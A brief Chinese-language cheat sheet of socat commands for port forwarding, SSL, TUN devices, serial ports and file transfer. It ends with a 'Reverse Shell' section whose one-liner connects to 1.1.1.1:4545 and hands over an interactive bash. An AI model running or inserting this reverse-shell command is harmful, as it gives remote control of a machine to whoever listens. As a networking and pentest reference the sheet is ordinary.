socat

TCP 转发

socat tcp4-listen:30000,reuseaddr,fork tcp4:1.1.1.1:3000
#监听 TCP 端口 30000 的 IPV4 流量,转发到 1.1.1.1 的 3000 端口
socat tcp-listen:53,reuseaddr,fork tcp:1.1.1.1:53
#转发所有在 TCP 53 端口的流量到 1.1.1.1 上  

UDP 转发

语法实际上十分类似.

socat -T 300 udp-listen:53,reuseaddr,fork udp:1.1.1.1:53
#将本地 UDP 53 端口流量转发到 1.1.1.1:53 上,超时限制为 300 s

SSL

服务端

socat openssl-listen:443,cert=cert.pem -


客户端

socat - openssl:localhost:443
# - 等同于 STDIN

系统

socat system:date -
# system 可以用来执行一个命令

cat 1.txt | socat - gopen:/file1,append
# 将 1.txt 的内容添加到 file1 后面.

echo "show info" | socat unix-connect:/var/tmp/haproxy stdio
# 给 HAProxy 的 pid 通信

虚拟网卡

服务器

socat -d -d tcp-listen:12450,reuseaddr tun:192.168.32.1/24,up


客户端

socat tcp:localhost:12450 tun:192.168.32.2/24,up

串口

socat READLINE,/dev/ttyS0,raw,echo=0,crnl
#连接 ttyS0

传输文件

发送

socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr


接收

socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat

Reverse Shell

服务端

socat -,raw,echo=0 tcp-listen:4545


发起

socat tcp:1.1.1.1:4545 exec:"bash -i",pty,stderr,setsid,sigint,sane

Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.